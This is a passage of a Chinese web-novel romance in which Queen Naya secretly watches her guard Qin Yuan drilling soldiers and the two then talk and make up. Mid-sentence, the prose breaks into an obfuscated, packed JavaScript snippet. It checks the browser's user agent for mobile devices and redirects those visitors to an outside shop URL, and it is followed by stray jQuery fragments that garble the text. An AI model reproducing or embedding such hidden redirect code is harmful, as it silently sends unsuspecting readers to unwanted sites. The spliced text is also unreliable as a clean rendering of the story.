“他还让我给王上带了句话:他那日不该这般让您下不来台的,都是他的不是,希望王上不要往心里去。”嘴上老老实实复述着秦源的话,可眼神闪烁的兰笛显然颇为好奇。
“王上,方侍卫做了什么事让您下不了台呀?”还是没忍住的小侍女,小心翼翼地问道,脑袋都往前伸了两分。
可听完这话的女王却当场石化了——那日的情景又再次浮现在她眼前。
这些时日因着生病,又忙于政务,如此尴尬的情形她早就忘于脑后。
可在这提醒之下,她全都记起来了!
宿醉过后,她堂堂罗格女王被俊秀郎君提醒自己耍酒疯,脱了衣衫扑进人家怀里偷亲人家,已经很是跌份儿了。
可更让人想埋进洞里的,当属被当事人发现自己用话本子里面的招数来对付他——甚至在口不择言下,差点认下自己喜欢“霸道王爷”这一款的郎君。
她真的没有,她真的不是!
这些丢脸的事情,天知地知,绝不能有第三个人知晓,不然她王上的面子往哪儿放?
“这你就不要打听了,毕竟是我们二人之间的事情,就先退下吧。”她故作高深地糊弄着。
但当兰笛不情愿地退下后,娜亚再也没忍住躲进被窝中,握着拳不断捶着床榻好来缓解尴尬的情绪。
为了不引起旁人注意,她还只能控制着力度,别提多不尽兴了。
不知过了多久,她才缓过来一口气,重新坐了起来。倒是这番折腾下,她堵住许久的鼻子通气了,精神也好上些许。
“不行,不能就这样宽宥他,否则他岂不是要上天!”女王皱着眉头,下定决心定要给他好看。
为了能尽快教他好看,她得先赶紧把病养好,这样才能用最好的状态去让他瞧瞧,有些人是不能得罪的!
于是自这一日起,娜亚开始非常准时地用膳、服药,每日也早早睡下,不再满脑子都是政事,毕竟那日的尴尬时不时就会在脑海中浮现。
不出几日,抱恙多日的她身子便有了起色,可以早晚出去略走走,用的饭食也更多些了。
转眼五月已过,六月的艳阳已照在了罗格的每一处。
总算大好的女王特地起了个大早,还给自己上了淡妆。肤如凝脂,顾盼生辉。
今日是休沐日,她不必会见大臣,但她想要见一个人。
听兰笛说,这个月秦源每三日便会在院中给侍卫们开堂课,不拘是拳脚功夫还是各路兵器,但凡他会的便不吝啬地倾囊相授。
这个时辰,想来训练也快结束了,正是她去见他最好的时机——他折腾了一早上,定是狼狈万分,而她精心打扮过后,则是完美无瑕。
这样一来,便能在第一眼中占了上风。
不过,娜亚也并不打算直接从正门进,虽然王宫中有不少人知晓秦源是她绑回来的,但如今既然要给他近身侍卫的职位,也自然得给他这个体面。
小院西侧有一处后门,门旁的墙被风沙腐蚀后多了几个洞,因这地处偏僻,也只是塞了几块砖石应付了事。
这还是她刚来王宫时发现的,不过总觉着日后或许有用,也并未让人给砌上。
果然今日就派上了用场,她抽出了两块砖石,将将好从偏僻的角度看见院中的情景。
她打算等人都走后,自小门进屋,让秦源好生吓一跳。
可教她没料到的却是——怎么这群侍卫训练都不穿上衣的。
六月天,哪怕是清晨也称不上凉爽,更何况眼下已过了辰时正,日头早就高悬天空,她站在阴凉处都能感受到丝丝热气逐渐汇聚。
这群少年郎又是操练之中,想来不好好穿衣服也是本分应当的。
“日后我也得好生监督一番,毕竟侍卫都是为了护我周全,他们训练我怎么能缺席呢?”娜亚的眼神在每个人的身上游走,不住地颔首。
身材都练得不错,很好,很好。
不过怎么没瞧见秦源?他是不是也光了上半身?女王连忙找寻着他的身影。
也就头一天夜里,喝了点小酒,接着微微酒劲儿将人四肢给铐住,本来想当场把人给办了,谁成想她经验不足,中途不知该如何是好从而落荒而逃。
那之后她都没怎么近过他的身,也就偶尔那日生辰靠近了些,结果她还断片儿了没记住一星半点。
应当是不错的吧……凭着残存的手感记忆,娜亚不确定地推断着。
怎么都是后生郎们,方侍卫这个武师傅去哪儿了?她换着方位寻了好一会儿,也没看见他的身影,有些遗憾。
忽然一个衣着完好的男子出现在她的视线之中,还好巧不巧地将众多少年郎给挡得死死的。
“今日就先到这吧,卡卡你让他们回去勤加练习,可不要偷懒。”秦源朗声道。
粗通汉话的卡卡很快便答道:“好嘞!”
于是侍卫们都捡起了自个儿的衣服,麻利地穿戴整齐后,给他行了个礼。
这时,他才移开了两步,话声也轻了许多。
听不清里头动静的娜亚,只能从狭小的缝隙中看着眼前的情景。瞧几人很快便穿好了衣物,她还难免更有些遗憾。
“没看见他不穿上衣便罢了,怎么他们也这么快就走了。”
喃喃自言的女王,百无聊赖地踢着墙角的石子,准备等他们都走了以后再从侧门进去,却没发现院中已经少了一个人。
“想看的话下个命令不就好了?”硬邦邦的声音从她耳畔传来,好生吓了她一跳。
“你!”没有丝毫防备的她几乎要尖叫出声,还好秦源及时捂住了她的嘴,才没引起院里头人的注意。
娜亚这才反应过来眼前人的身份,气得连踩了他的鞋好几下,才指着他的手示意他放下。
“你怎么走路不出声的!”她埋怨道。
“我练过轻功,走路自然没有声音。”他含笑答道。
也算……合理吧,她不再纠结于此。
“不是训练吗,怎么还走神?”
“走神?”
“如若你不分神,又怎么会知道我在此处,还使轻功
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14206094|150941||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
跑来吓我。”娜亚很是理所当然地问道。
不过秦源也不是嘴笨之人,“实在是你的目光太过灼热,若我不及时站那替你挡上一挡,怕是这群后生们不一会儿便会发现,他们的王上还会偷窥呢。”
“若真这么想看,怎么不下令教他们脱给你看?卡卡可是说了,洛南城里有不少郎君拜倒在王上的石榴裙下。你今日瞧着也不是个冷情冷性之人,怎么不从中挑上一二顺眼之人?”
一连串的问题都要将女王给问懵了,但她还是抓住了其中的关键——“我在达尔坎的时候,便成日有郎君给我送各种花朵香料,来了洛南以后就更多了。”
她娜亚可一直是颇受欢迎的娘子,多少郎君都追着她跑。
但这话一出,眼前人的脸色倒是更黑了。
“就没有看得上的郎君?”
“也有。”
“谁啊?”
“你啊。”
今日他怎么格外话多?女王有些不明白,但还是顺着话头接了下去。
不过几个字的话语,面前人的神色倒是雨过天晴了。
“先进屋吧,外头日头晒,你风寒才刚好,别又中了暑气。”秦源开了侧门,下意识地拉着她的衣袖便往里头走。
这人究竟是怎么了?娜亚满脑袋不解,只觉着他今日好像颇为奇怪,一会儿高兴,一会儿不满,不像平日里那般沉静。
女子每月都有几日情绪不稳,是不是男子也一样啊?她暗中猜测道,准备回去翻翻医书。
屋内坐定后,他沏了杯温水给她,操练之时尘土飞扬,好让她能润润嗓子,免得又咳嗽了。
“兰笛说你卯时正便让卡卡他们来了,何必这么辛苦?”
秦源心底里冒出的念头却是:辛苦吗?
自小他便是卯时初就得起身,或苦读、或修习拳脚,总之没有休息的时候——除非病得起不了身。
如今只是卯时正顺带着几个后生操练而已,于他而言,这称不上辛苦二字。
“不过顺手,算不得什么。倒是你这些时日,可将身子彻底修养好了?兰娘子说你醉心公务,都时常忘寝废食,实在于养病不利。”他见杯盏空了一半,又给续上了。
“已经大好了,汉医胡医都瞧过了,什么毛病都没有了。”娜亚张开双手,示意自己已然好全了。
这下他也放下了些许悬着的心,犹豫着轻叩了两下桌面,才道:“那日是我不是,不该话赶话,也不该私自拿了你的东西,还不打招呼便翻开看,实在非君子所为。”
虽然他也不是什么君子,但也不想让她觉着自己是个不懂礼数的混球。
说起此事,果然她的脸色恼了两分,话都冲了些许:“怎么会是秦大将军的问题,自然是我这个为人王上的错处,怎么能爱看话本子,半点都没有女王的风范。”
“爱好而已,哪里称得上是什么错处?每个人都有自个儿的秘密,是我不该逾矩冒犯了你,你想如何惩处我都认。”
“那你有什么秘密?”娜亚凑近了两分,满眼期待。